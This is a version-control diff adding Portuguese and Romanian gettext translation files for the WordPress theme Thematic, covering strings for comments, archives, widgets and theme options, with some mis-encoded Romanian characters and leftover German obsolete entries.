"Texto no rodapé" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" +msgstr "Poderá usar os seguintes shortcodes no texto do seu rodpé: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Powered by [wp-link]. Construido com o tema [theme-link]." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings saved." +msgstr "preferências guardadas." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "settings reset." +msgstr "preferências restabelecidas." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:78 +msgid "widgets reset." +msgstr "widgets restabelecidos." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:191 +msgid "Save changes" +msgstr "Guardar alterações" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:197 +msgid "Reset" +msgstr "Restabelecer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:203 +msgid "Reset Widgets" +msgstr "Restabelecer Widgets" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:208 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Para mais informações sobre este tema, visite o ThemeShaper. Por favor visite o Fórum ThemeShaper se tem alguma questão relativa ao Thematic." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:55 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:245 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:246 +msgid "RSS Links" +msgstr "Links RSS" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:79 +msgid "Title:" +msgstr "Título:" + +#~ msgid "Site Meta" +#~ msgstr "Meta do Site" +#~ msgid "Blog Index" +#~ msgstr "Index do Blog" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/ro_RO.mo Binary file web/wp-content/themes/thematic/library/languages/ro_RO.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/ro_RO.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/ro_RO.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,796 @@ +# kubrick theme pot file. +# Copyright (C) 2007 WordPress +# This file is distributed under the same license as the kubrick theme package. +# +msgid "" +msgstr "" +"Project-Id-Version: Thematic\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2010-02-18 20:58+0100\n" +"PO-Revision-Date: 2010-02-22 20:11+0100\n" +"Last-Translator: Chris Gossmann \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Romana\n" +"X-Poedit-Country: GERMANIA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: .\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/archives.php:42 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/links.php:53 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:40 +msgid "Edit" +msgstr "Editare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/attachment.php:39 +msgid "Pages:" +msgstr "Pagini:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/author.php:53 +msgid "Email " +msgstr "E-mail" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Acest articol este protejat cu parolă. IntroduceÅ£i parola pentru a vedea comentariile." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Ping-uri" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Un Ping" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Trebuie să vă autentificaÅ£i pentru a publica un comentariu." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "SunteÅ£i autentificat ca ÅŸi %2$s. Deautentificare?" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Adresa dumneavoastră de e-mail nu va fi niciodată publicată sau redistribuită." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Câmpurile necesare sunt marcate cu *" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Nume" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "Adresă de e-mail" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Site web" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "PuteÅ£i folosi următoarele etichete ÅŸi atribute HTML:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:38 +msgid "Pages: " +msgstr "Pagini: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:41 +msgid "Nothing Found" +msgstr "Nu s-a găsit nimic" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:43 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Ne pare rau, dar nimic nu se potriveÅŸte cu căutarea dumneavoastră. Va rugăm să reîncercati cu alte cuvinte." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:48 +msgid "Find" +msgstr "Caută" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:76 +msgid "One Comment" +msgstr "Un Comentariu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:83 +#, php-format +msgid "%d Comments" +msgstr "%d Comentarii" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:96 +msgid "Post a Comment" +msgstr "PublicaÅ£i un comentariu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:103 +#, php-format +msgid "Post a Reply to %s" +msgstr "PublicaÅ£i un raspuns la %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:110 +msgid "Comment" +msgstr "Comentariu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:117 +msgid "Post Comment" +msgstr "PublicaÅ£i comentariul" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:147 +msgid "Author Archives: " +msgstr "Arhivele autorului: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:153 +msgid "Category Archives:" +msgstr "Arhivele categoriei:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:162 +msgid "Search Results for:" +msgstr "Rezultatele căutării pentru:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:168 +msgid "Tag Archives:" +msgstr "Arhivele etichetei:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:174 +#, php-format +msgid "Daily Archives: %s" +msgstr "Arhivele zilnice: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:178 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Arhivele lunare: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:182 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Arhivele anuale: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:186 +msgid "Blog Archives" +msgstr "Arhivele blogului" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:209 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:725 +msgid "« Older posts" +msgstr "« Articole mai vechi" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:210 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:726 +msgid "Newer posts »" +msgstr "Articole mai noi »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:394 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:618 +msgid "Edit post" +msgstr "Editează articol" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:406 +msgid "Not Found" +msgstr "Nu s-a găsit" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:411 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid "Permalink to " +msgstr "Legătură permanentă către " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:441 +msgid "By " +msgstr "De către " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:444 +msgid "View all posts by " +msgstr "VizualizaÅ£i toate articolele scrise de " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:455 +msgid "Published: " +msgstr "Publicat: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:523 +msgid "Archives by Category" +msgstr "Arhive dupa categorii" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:534 +msgid "Archives by Month" +msgstr "Arhive dupa lună" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:562 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Ne cerem scuze, dar nu am reuÅŸit sa găsim ceea ce căutaÅ£i. Poate formularul de căutare vă va ajuta." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:578 +msgid "Read More »" +msgstr "CiteÅŸte mai departe »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:629 +msgid "This entry was posted in " +msgstr "Acest articol a post publicat în " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:632 +msgid "Also posted in " +msgstr "De asemenea publicat în " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:635 +msgid "Posted in " +msgstr "Publicat în " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:646 +msgid " and tagged" +msgstr " ÅŸi etichetat" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:649 +msgid " Also tagged " +msgstr " De asemenea etichetat " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:651 +msgid "Tagged" +msgstr "Etichetat" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:663 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:666 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:669 +msgid "Comment on " +msgstr "Comentariu la " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:664 +msgid " Comments" +msgstr " Comentarii" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:667 +msgid " Comment" +msgstr " Comentariu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:670 +msgid "Leave a comment" +msgstr "LăsaÅ£i un comentariu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:673 +msgid "Comments closed" +msgstr "Comentariile nu sunt acceptate." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid ". Bookmark the " +msgstr ". SalvaÅ£i ca ÅŸi semn de carte " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:687 +msgid "permalink" +msgstr "legătură permanentă" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:689 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "Post a comment" +msgstr "PublicaÅ£i un comentariu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:690 +msgid " or leave a trackback: " +msgstr " sau lăsaÅ£i un ping: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL for your post" +msgstr "Adresa Ping-ului pentru articolul dumneavoastră" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:691 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:694 +msgid "Trackback URL" +msgstr "Adresa Ping-ului" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:693 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Comentariile nu sunt acceptate, dar puteÅ£i lăsa un ping: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:696 +msgid " Trackbacks are closed, but you can " +msgstr " Ping-urile nu sunt acceptate, dar puteÅ£i să " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:697 +msgid "post a comment" +msgstr "publicaÅ£i un comentariu" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:699 +msgid " Both comments and trackbacks are currently closed." +msgstr " Nu sunt acceptate nici comentarile ÅŸi nici ping-urile." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Publicat %1$s la %2$s | Legătură permanentă" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tComentariul dumneavoastră aÅŸteaptă să fie moderat.\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Răspunde" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "AutentificaÅ£i-vă pentru a răspunde." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "De către %1$s in %2$s la %3$s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tPing-ul dumneavoastră aÅŸteaptă să fie moderat.\\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:251 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "Posts RSS feed" +msgstr "Fluxul RSS al articolelor" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:269 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "Comments RSS feed" +msgstr "Fluxul RSS al comentariilor" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip navigation to the content" +msgstr "SăriÅ£i peste navigaÅ£ie către conÅ£inut" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/header-extensions.php:401 +msgid "Skip to content" +msgstr "SăriÅ£i către conÅ£inut" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Rezumatul nu este disponibil pentru că e vorba de un articol protejat." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Autentificare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Deautentificare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "PoziÅ£ia de inserare în pagina de index" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "Zona de widget de pe pagina de index va apărea după articolul cu acest număr." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "InformaÅ£ii pe pagina de autor." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "AfiÅŸare vCard microformatat—cu avatarul, informaÅ£iile biografice ÅŸi adresa de e-mail a autorului—pe pagina de autor." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Text din footer" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" +msgstr "PuteÅ£i folosi următoarele coduri scurte în textul din footer: [wp-link] [theme-link] [loginout-link] [blog-title] [blog-link] [the-year]" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Propulsat de [wp-link]. Construit pe [theme-link]." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:75 +msgid "settings saved." +msgstr "opÅ£iuni salvate." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings reset." +msgstr "setări resetate." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "widgets reset." +msgstr "widget-uri resetate." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:190 +msgid "Save changes" +msgstr "Salvare modificări" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:196 +msgid "Reset" +msgstr "Resetare" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:202 +msgid "Reset Widgets" +msgstr "Resetare Widget-uri" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:207 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Pentru mai multe informaÅ£ii despre această temă, vizitaÅ£i ThemeShaper. Vă rugăm vizitaÅ£i Forumurile ThemeShaper dacă aveÅ£i întrebări despre Thematic." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:12 +msgid "To search, type and hit enter" +msgstr "Pentru căutare, scrieÅ£i ÅŸi apăsaÅ£i enter" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:18 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:281 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:43 +msgid "Search" +msgstr "Caută" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:43 +msgid "The primary widget area, most often used as a sidebar." +msgstr "Zona principală de widget-uri, cel mai adesea folosită ca ÅŸi bară laterală." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:58 +msgid "The secondary widget area, most often used as a sidebar." +msgstr "Zona secundară de widget-uri, cel mai adesea folosită ca ÅŸi bară laterală." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:73 +msgid "The 1st widget area in the footer." +msgstr "Prima zonă de widget-uri din subsol." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:88 +msgid "The 2nd widget area in the footer." +msgstr "A doua zonă de widget-uri din subsol." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:103 +msgid "The 3rd widget area in the footer." +msgstr "A treia zonă de widget-uri din subsol." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:118 +msgid "The top widget area displayed on the index page." +msgstr "Zona de widget-uri afiÅŸată în partea de sus a paginii de index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:133 +msgid "The widget area inserted after x posts on the index page." +msgstr "Zona de widget-uri inserată după x articole pe pagina de index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:148 +msgid "The bottom widget area displayed on the index page." +msgstr "Zona de widget-uri afiÅŸată în partea de jos a paginii de index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:163 +msgid "The top widget area displayed on a single post." +msgstr "Zona de widget-uri afiÅŸată în partea de sus pe paginile de articol." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:178 +msgid "The widget area inserted between the post and the comments on a single post." +msgstr "Zona de widget-uri afiÅŸată între articol ÅŸi comentarii pe paginile de articol." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:193 +msgid "The bottom widget area displayed on a single post." +msgstr "Zona de widget-uri afiÅŸată în partea de jos pe paginile de articol." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:208 +msgid "The top widget area displayed on a page." +msgstr "Zona de widget-uri afiÅŸată în partea de sus a paginilor propriu-zise." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:223 +msgid "The bottom widget area displayed on a page." +msgstr "Zona de widget-uri afiÅŸată în partea de jos a paginilor propriu-zise." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:283 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:55 +msgid "Meta" +msgstr "Meta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:285 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:286 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:72 +msgid "RSS Links" +msgstr "Legături RSS" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "All posts" +msgstr "Toate articolele" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "All comments" +msgstr "Toate comentarile" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:96 +msgid "Title:" +msgstr "Titlu:" + +#~ msgid "definitions created." +#~ msgstr "definiÅ£ii au fost create." +#~ msgid "failed to create directory:" +#~ msgstr "s-a eÅŸuat în crearea directorului:" +#~ msgid "failed to create the file:" +#~ msgstr "s-a eÅŸuat în crearea fiÅŸierului:" +#~ msgid "Create Definitions" +#~ msgstr "Creare DefiniÅ£ii" +#~ msgid "Pages" +#~ msgstr "Pagini" +#~ msgid "Categories" +#~ msgstr "Categorii" +#~ msgid "Archives" +#~ msgstr "Arhive" +#~ msgid "RSS Feeds" +#~ msgstr "Feed-uri RSS" +#~ msgid "Blog Index" +#~ msgstr "Index blog" +#~ msgid "Error 404 - Not Found" +#~ msgstr "Fehler 404 - Nicht gefunden" +#~ msgid "Archive for the ‘%s’ Category" +#~ msgstr "Archiv für die Kategorie „%s“" +#~ msgid "Posts Tagged ‘%s’" +#~ msgstr "Artikel-Schlagworte: „%s“" +#~ msgid "Archive for %s|Daily archive page" +#~ msgstr "Archiv für %s" +#~ msgid "F jS, Y" +#~ msgstr "j. F Y" +#~ msgid "Archive for %s|Monthly archive page" +#~ msgstr "Archiv für %s" +#~ msgid "F, Y" +#~ msgstr "F Y" +#~ msgid "Archive for %s|Yearly archive page" +#~ msgstr "Archiv für %s" +#~ msgid "Y" +#~ msgstr "Y" +#~ msgid "« Older Entries" +#~ msgstr "« Ältere Einträge" +#~ msgid "Newer Entries »" +#~ msgstr "Neuere Einträge »" +#~ msgid "l, F jS, Y" +#~ msgstr "l, j. F Y" +#~ msgid "Tags:" +#~ msgstr "Schlagworte:" +#~ msgid "No Comments »" +#~ msgstr "Keine Kommentare »" +#~ msgid "1 Comment »" +#~ msgstr "1 Kommentar »" +#~ msgid "% Comments »" +#~ msgstr "% Kommentare »" +#~ msgid "Archives by Subject:" +#~ msgstr "Archive nach Thema:" +#~ msgid "Permanent Link: %s" +#~ msgstr "Permanent-Link: %s" +#~ msgid "Read the rest of this entry »" +#~ msgstr "Diesen Beitrag weiterlesen »" +#~ msgid "This entry was posted %1$s on %2$s at %3$s and is filed under %4$s." +#~ msgstr "" +#~ "Dieser Beitrag wurde vor %1$s am %2$s um %3$s Uhr veröffentlicht und " +#~ "unter %4$s gespeichert." +#~ msgid "" +#~ "You can follow any responses to this entry through the RSS " +#~ "2.0 feed." +#~ msgstr "" +#~ "Sie können Kommentare zu diesem Eintrag über den RSS-2.0-Feed verfolgen." +#~ msgid "" +#~ "You can leave a response, or trackback from your own site." +#~ msgstr "" +#~ "Sie können einen Kommentar hinterlassen " +#~ "oder einen Trackback von Ihrer " +#~ "Website hierher setzen." +#~ msgid "" +#~ "Responses are currently closed, but you can trackback from your own site." +#~ msgstr "" +#~ "Kommentare sind momentan deaktiviert, aber Sie können einen Trackback von Ihrer Website hierher setzen." +#~ msgid "" +#~ "You can skip to the end and leave a response. Pinging is currently not " +#~ "allowed." +#~ msgstr "" +#~ "Sie können einen Kommentar hinterlassen, " +#~ "Pingbacks/Trackbacks sind momentan deaktiviert." +#~ msgid "Edit this entry." +#~ msgstr "Diesen Eintrag bearbeiten" +#~ msgid "Sorry, no attachments matched your criteria." +#~ msgstr "" +#~ "Leider wurden keine Anhänge gefunden, die Ihren Kriterien " +#~ "entsprechen." +#~ msgid "No Responses" +#~ msgstr "Keine Kommentare" +#~ msgid "One Response" +#~ msgstr "1 Kommentar" +#~ msgid "% Responses" +#~ msgstr "% Kommentare" +#~ msgid "to “%s”" +#~ msgstr "zu „%s“" +#~ msgid "%s Says:" +#~ msgstr "%s sagt:" +#~ msgid "edit" +#~ msgstr "bearbeiten" +#~ msgid "Comments are closed." +#~ msgstr "Kommentieren ist momentan nicht möglich." +#~ msgid "Leave a Reply" +#~ msgstr "Kommentieren" +#~ msgid "Logged in as %2$s." +#~ msgstr "Angemeldet als %2$s." +#~ msgid "Log out of this account" +#~ msgstr "Jetzt abmelden" +#~ msgid "Log out »" +#~ msgstr "Abmelden »" +#~ msgid "(required)" +#~ msgstr "(benötigt)" +#~ msgid "Mail (will not be published)" +#~ msgstr "E-Mail (wird nicht veröffentlicht)" +#~ msgid "XHTML: You can use these tags: %s" +#~ msgstr "" +#~ "XHTML: Sie können folgende Elemente nutzen: %" +#~ "s" +#~ msgid "Submit Comment" +#~ msgstr "Kommentar senden" +#~ msgid "%1$s - Comments on %2$s" +#~ msgstr "%1$s - Kommentare zu %2$s" +#~ msgid "" +#~ "RSS feed for comments on " +#~ "this post." +#~ msgstr "" +#~ "RSS-Feed für " +#~ "Kommentare zu diesem Artikel." +#~ msgid "" +#~ "The URL to TrackBack " +#~ "this entry is: %s" +#~ msgstr "" +#~ "Die Trackback-URL zu " +#~ "diesem Artikel ist: %s" +#~ msgid "Pingback" +#~ msgstr "Pingback" +#~ msgid "by %1$s — %2$s @ %4$s" +#~ msgstr "von %1$s — %2$s um %4$s Uhr" +#~ msgid "No comments yet." +#~ msgstr "Noch keine Kommentare." +#~ msgid "" +#~ "Line and paragraph breaks automatic, e-mail address never displayed, " +#~ "HTML allowed: " +#~ "%s" +#~ msgstr "" +#~ "Zeilen- und Absatzumbrüche werden automatisch eingefügt, Ihre E-" +#~ "Mail wird nicht angezeigt.Erlaubtes HTML:" +#~ msgid "URL" +#~ msgstr "URL" +#~ msgid "Say It!" +#~ msgstr "Senden" +#~ msgid "Sorry, the comment form is closed at this time." +#~ msgstr "Kommentieren ist momentan leider nicht möglich." +#~ msgid "Close this window." +#~ msgstr "Fenster schließen." +#~ msgid "" +#~ "Powered by WordPress" +#~ msgstr "" +#~ "WordPress" +#~ msgid "%1$s is proudly powered by %2$s" +#~ msgstr "%1$s läuft mit %2$s" +#~ msgid "%1$s and %2$s." +#~ msgstr "%1$s und %2$s." +#~ msgid "Entries 